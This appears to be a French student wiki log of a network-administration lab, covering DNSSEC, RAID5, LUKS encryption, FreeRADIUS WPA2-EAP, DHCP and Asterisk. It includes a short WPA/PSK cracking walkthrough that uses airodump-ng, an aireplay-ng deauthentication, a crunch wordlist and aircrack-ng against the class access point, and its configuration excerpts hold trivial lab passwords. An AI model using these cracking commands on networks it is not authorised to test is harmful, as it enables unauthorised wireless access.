 faispastomberlasavo.net. 604800	IN	DNSKEY	257 3 5 AwEAAa3Js66YHVQrw4q+4IKA71lRK9AXWznEZyoxVCxr0SSYx+TFUXxh VTbjq1H8aYjwUa1UyuFsHUC72wJcTNCo0DNOX6Qcek/Y9O30x8xnXRdB OsNFLhnc5v4b5mLTGLswS3GpBCgP8+xSj4LmZPrLZneVom5Q2xCl40KT b5WdpMXXmPjaPOk24gdr5QYzZxrSIqmbEjp2DPaCZiAqPJ8hvvqPFQ+Q Bq53a5/ra3PfN1uo0B2WzeGN0nsb3QDLAREmuovHxSJjm23Yv7rcU8eb txBuOPkbgyES/ybN0uWvW3hiHipXeMCa+yRywnle2Ea56k6w4bcPNta3 8qeF3KwqszE=&lt;br /&gt;
 faispastomberlasavo.net. 604800	IN	DNSKEY	256 3 5 AwEAAe+I1C2IYzY323K1HXia8curPC+ZduRAiXpsYMdBRyTQOpxTf0zf ulFh42UOPhRCrYm3CZkOesUjhbS0Z3WVzy6u/RHJDRKiqNUbpnBN8jQf mmhIx8FJU3Kcu5st+T6cRWOEoCQIS6tOM31u5I4NKrhXZamDiV361YTQ nJrJNT//&lt;br /&gt;
 &lt;br /&gt;
 ;; Query time: 0 msec&lt;br /&gt;
 ;; SERVER: 127.0.0.1#53(127.0.0.1)&lt;br /&gt;
 ;; WHEN: Mon Nov 28 17:05:19 CET 2016&lt;br /&gt;
 ;; MSG SIZE  rcvd: 476&lt;br /&gt;
&lt;br /&gt;
==Crack clé WPA/PSK==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut passer l'interface réseau en mode &amp;quot;Monitor&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
Nous pouvons détecter les hotspots grâce à l'utilitaire airodump-ng&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa mon0&lt;br /&gt;
&lt;br /&gt;
Nous voulions trouvé la clé de &amp;quot;cracotte01&amp;quot;, nous avons donc filtré pour le bssid &amp;quot;04:DA:D2:9C:50:50&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 airodump-ng -w out --bssid 04:DA:D2:9C:50:50 mon0&lt;br /&gt;
 aireplay-ng -0 0 -a 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
Nous avons créer notre dictionnaire de la façon suivante&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 0123456789 -o dico.txt&lt;br /&gt;
&lt;br /&gt;
Que nous avons tester sur une Zabeth par soucis de rapidité&lt;br /&gt;
 &lt;br /&gt;
 aircrack-ng -w dico.txt out-01.cap&lt;br /&gt;
&lt;br /&gt;
Qui nous a donné le résultat suivant&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:Aircrack_screen.png|500px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
==Travail à Réalisé==&lt;br /&gt;
===6.1 Raid===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il a fallu créer les disques virtuels avec ''lvcreate'' :&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/Frotteman-raid1 -v&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/Frotteman-raid2 -v&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/Frotteman-raid3 -v&lt;br /&gt;
&lt;br /&gt;
Puis il faut rajouter à la config ''/etc/xen/Frotteman.cfg'' :&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/virtual/Frotteman-raid1,xvdd1, w',&lt;br /&gt;
 'phy:/dev/virtual/Frotteman-raid2,xvdd2, w',&lt;br /&gt;
 'phy:/dev/virtual/Frotteman-raid3,xvdd3, w',&lt;br /&gt;
&lt;br /&gt;
Une fois ceci fait on redémarre la VM et on installe ''mdadm'' :&lt;br /&gt;
&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
On met à jour les modules du kernel (enfin je crois) :&lt;br /&gt;
&lt;br /&gt;
 apt-get install linux-image.3.16.0-4-amd64&lt;br /&gt;
&lt;br /&gt;
Il ne nous reste plus qu'à créer notre disque RAID5 ''md0'' :&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3&lt;br /&gt;
&lt;br /&gt;
Nous installons un système de fichier ''ext4'' dessus:&lt;br /&gt;
&lt;br /&gt;
 mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant le monter :&lt;br /&gt;
&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour tester nous avons copié en partie le dossier /lib dans /mnt.&lt;br /&gt;
Nous commentons une ligne du fichier /etc/xen/Frotteman.cfg&lt;br /&gt;
&lt;br /&gt;
 #'phy:/dev/virtual/Frotteman-raid2,xvdd2, x',&lt;br /&gt;
&lt;br /&gt;
Puis nous observons les différents résultats via ''fdisk'' :&lt;br /&gt;
&lt;br /&gt;
 fdisk -l&lt;br /&gt;
&lt;br /&gt;
 Disk /dev/xvdd1: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdd3: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
On observe l'absence du disque xvdd2 mais nous avons en revanche toutes nos données sur /mnt&lt;br /&gt;
&lt;br /&gt;
 root@Frotteman:~# ls /mnt/lib&lt;br /&gt;
 ifupdown			      libipq.so.0.0.0	    startpar&lt;br /&gt;
 init				      libiptc.so.0	    systemd&lt;br /&gt;
 klibc-IpHGKKbZiB_yZ7GPagmQz2GwVAQ.so  libiptc.so.0.0.0	    terminfo&lt;br /&gt;
 libip4tc.so.0			      libxtables.so.10	    udev&lt;br /&gt;
 libip4tc.so.0.1.0		      libxtables.so.10.0.0  x86_64-linux-gnu&lt;br /&gt;
 libip6tc.so.0			      lsb		    xtables&lt;br /&gt;
 libip6tc.so.0.1.0		      modprobe.d&lt;br /&gt;
 libipq.so.0			      modules&lt;br /&gt;
&lt;br /&gt;
Nous avons même été prévenu via mail par mdadm, c'est bo l'info !!&lt;br /&gt;
&lt;br /&gt;
 From root@faispastomberlasavo.net  Wed Dec  7 17:06:00 2016&lt;br /&gt;
 X-Original-To: root&lt;br /&gt;
 From: mdadm monitoring &amp;lt;root@faispastomberlasavo.net&amp;gt;&lt;br /&gt;
 To: root@faispastomberlasavo.net&lt;br /&gt;
 Subject: DegradedArray event on /dev/md0:Frotteman&lt;br /&gt;
 Date: Wed,  7 Dec 2016 17:05:56 +0100 (CET)&lt;br /&gt;
 &lt;br /&gt;
 This is an automatically generated mail message from mdadm&lt;br /&gt;
 running on Frotteman&lt;br /&gt;
 &lt;br /&gt;
 A DegradedArray event had been detected on md device /dev/md0.&lt;br /&gt;
 &lt;br /&gt;
 Faithfully yours, etc.&lt;br /&gt;
 &lt;br /&gt;
 P.S. The /proc/mdstat file currently contains the following:&lt;br /&gt;
 &lt;br /&gt;
 Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
 md0 : active (auto-read-only) raid5 xvdd1[0] xvdd3[2]&lt;br /&gt;
       2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
       &lt;br /&gt;
 unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===6.2 Cryptage carte SD===&lt;br /&gt;
Pour crypter les données présente sur un support de stockage nous utiliserons Gparted et CryptSetup&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c eas -h sha256 /dev/mmcblk1&lt;br /&gt;
&lt;br /&gt;
On rentre notre phrase secrète.&lt;br /&gt;
&lt;br /&gt;
Optionel : On peut afficher l'état du conteneur grâce à la commande :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksDump /dev/mmcblk1&lt;br /&gt;
&lt;br /&gt;
On peut désormais ouvrir notre volume appelé &amp;quot;frotteman&amp;quot;, il nous faudra ensuite renseigner la clé secrète :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksOpen /dev/mmcblk1 frotteman&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut désormais installé un gestionnaire de fichier ext3&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext3 /dev/mapper/frotteman&lt;br /&gt;
&lt;br /&gt;
Et finalement monter/demonter le volume :&lt;br /&gt;
&lt;br /&gt;
 mount /dev/mapper/frotteman /mnt/&lt;br /&gt;
 umount /mnt &lt;br /&gt;
&lt;br /&gt;
Et également fermé le volume chiffré :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksClose frotteman&lt;br /&gt;
&lt;br /&gt;
===6.6 Securasition Wifi par WPA2-EAP===&lt;br /&gt;
 &lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Puis nous avons eu à configurer nos points d'accès wifi au sein du fichier clients.conf, voici à quoi ressemble la configuration d'un des points :&lt;br /&gt;
&lt;br /&gt;
 client E306{&lt;br /&gt;
         ipaddr = 10.60.1.2&lt;br /&gt;
         secret = password&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Pour finir il ne restait plus qu'a créer un utilisateur pour ce serveur d'authentification, pour cela nous avons ajouté la ligne suivante dans le fichier users.&lt;br /&gt;
&lt;br /&gt;
 frotteman Cleartext-Password := &amp;quot;youpi&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois cette configuration réalisée nous avons lancé notre serveur FreeRADIUS.&lt;br /&gt;
Configuration des bornes Wi-Fi&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons réalisé la configuration des bornes Wi-Fi afin d'avoir notre accès sécurisé avec notre serveur FreeRADIUS. La configuation est réalisée en tapant les commandes suivantes après s'être connecté à la borne via telnet :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_frotteman group radius_frotteman&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key password&lt;br /&gt;
 aaa group server radius radius_frotteman&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 dot11 ssid SSID_FROTTEMAN&lt;br /&gt;
 vlan 2&lt;br /&gt;
 authentication open eap eap_frotteman&lt;br /&gt;
 authentication network-eap eap_frotteman&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 mbssid guest-mode&lt;br /&gt;
 &lt;br /&gt;
 exit &lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_FROTTEMAN &lt;br /&gt;
 &lt;br /&gt;
 exit &lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 no ip route-cache&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
 bridge-group 2 subscriber-loop-control&lt;br /&gt;
 bridge-group 2 spanning-disabled&lt;br /&gt;
 bridge-group 2 block-unknown-source&lt;br /&gt;
 no bridge-group 2 source-learning&lt;br /&gt;
 no bridge-group 2 unicast-flooding  &lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 interface GigabitEthernet0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
  &lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===6.8.1 DHCP===&lt;br /&gt;
On installe un server DHCP sur l'eeePC :&lt;br /&gt;
&lt;br /&gt;
 apt-get install isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
On configure le fichier /etc/dhcp/dhcpd.conf :&lt;br /&gt;
&lt;br /&gt;
 option domain-name &amp;quot;faispastomberlasavo.net&amp;quot;;&lt;br /&gt;
 option domain-name-servers 193.48.57.161;&lt;br /&gt;
 &lt;br /&gt;
 subnet 10.60.2.0 netmask 255.255.255.0 {&lt;br /&gt;
       range 10.60.2.50 10.60.2.100;&lt;br /&gt;
       option routers 10.60.6.1;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Il ne nous reste plus qu'a indiqué notre interface réseau dans le fichier /etc/dhcp/isc-dhcp-server&lt;br /&gt;
 &lt;br /&gt;
===6.8.2 PCBx===&lt;br /&gt;
&lt;br /&gt;
On installe asterisk &lt;br /&gt;
 apt-get install asterisk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/asterisk/sip.conf afin de créer 2 utilisateurs 666 &amp;amp; 665:&lt;br /&gt;
&lt;br /&gt;
 [general]&lt;br /&gt;
 hasvoicemail=yes&lt;br /&gt;
 hassip=yes&lt;br /&gt;
 hasiax=yes&lt;br /&gt;
 callwaiting=yes&lt;br /&gt;
 threewaycalling=yes&lt;br /&gt;
 callwaitingcallerid=yes&lt;br /&gt;
 transfer=yes&lt;br /&gt;
 canpark=yes&lt;br /&gt;
 cancallforward=yes&lt;br /&gt;
 callreturn=yes&lt;br /&gt;
 callgroup=1&lt;br /&gt;
 pickupgroup=1&lt;br /&gt;
 nat=yes&lt;br /&gt;
 &lt;br /&gt;
 [666]&lt;br /&gt;
 type=friend&lt;br /&gt;
 host=dynamic&lt;br /&gt;
 dtmfmode=rfc2833&lt;br /&gt;
 disallow=all&lt;br /&gt;
 allow=ulaw&lt;br /&gt;
 fullname=Cduval&lt;br /&gt;
 username=cduval&lt;br /&gt;
 secret=glopglop&lt;br /&gt;
 context=work &lt;br /&gt;
 &lt;br /&gt;
 [665]&lt;br /&gt;
 type=friend&lt;br /&gt;
 host=dynamic&lt;br /&gt;
 dtmfmode=rfc2833&lt;br /&gt;
 disallow=all&lt;br /&gt;
 allow=ulaw&lt;br /&gt;
 fullname=Pfitouss&lt;br /&gt;
 username=pfitouss&lt;br /&gt;
 secret=glopglop&lt;br /&gt;
 context=work &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons donc constater que le communication est réussi&lt;br /&gt;
 Frotteman*CLI&amp;gt; sip show peers&lt;br /&gt;
 Name/username             Host                                    Dyn Forcerport Comedia    ACL Port     Status      Description                      &lt;br /&gt;
 665/pfitouss              (Unspecified)                            D  Auto (No)  No             0        Unmonitored                                  &lt;br /&gt;
 666/cduval                (Unspecified)                            D  Auto (No)  No             0        Unmonitored                                  &lt;br /&gt;
 2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 0 online, 2 offline]&lt;br /&gt;
     -- Registered SIP '665' at 10.60.2.100:38862&lt;br /&gt;
 [Jan  6 16:10:49] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665&lt;br /&gt;
     -- Registered SIP '666' at 10.60.2.101:35192&lt;br /&gt;
 [Jan  6 16:12:06] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 666&lt;br /&gt;
 [Jan  6 16:12:14] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665&lt;br /&gt;
   == Using SIP RTP CoS mark 5&lt;br /&gt;
     -- Executing [666@work:1] Dial(&amp;quot;SIP/665-00000000&amp;quot;, &amp;quot;SIP/666,20&amp;quot;) in new stack&lt;br /&gt;
   == Using SIP RTP CoS mark 5&lt;br /&gt;
     -- Called SIP/666&lt;br /&gt;
     -- SIP/666-00000001 is ringing&lt;br /&gt;
     -- SIP/666-00000001 answered SIP/665-00000000&lt;br /&gt;
     -- Remotely bridging SIP/665-00000000 and SIP/666-00000001&lt;br /&gt;
   == Spawn extension (work, 666, 1) exited non-zero on 'SIP/665-00000000'&lt;br /&gt;
 Frotteman*CLI&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	</feed>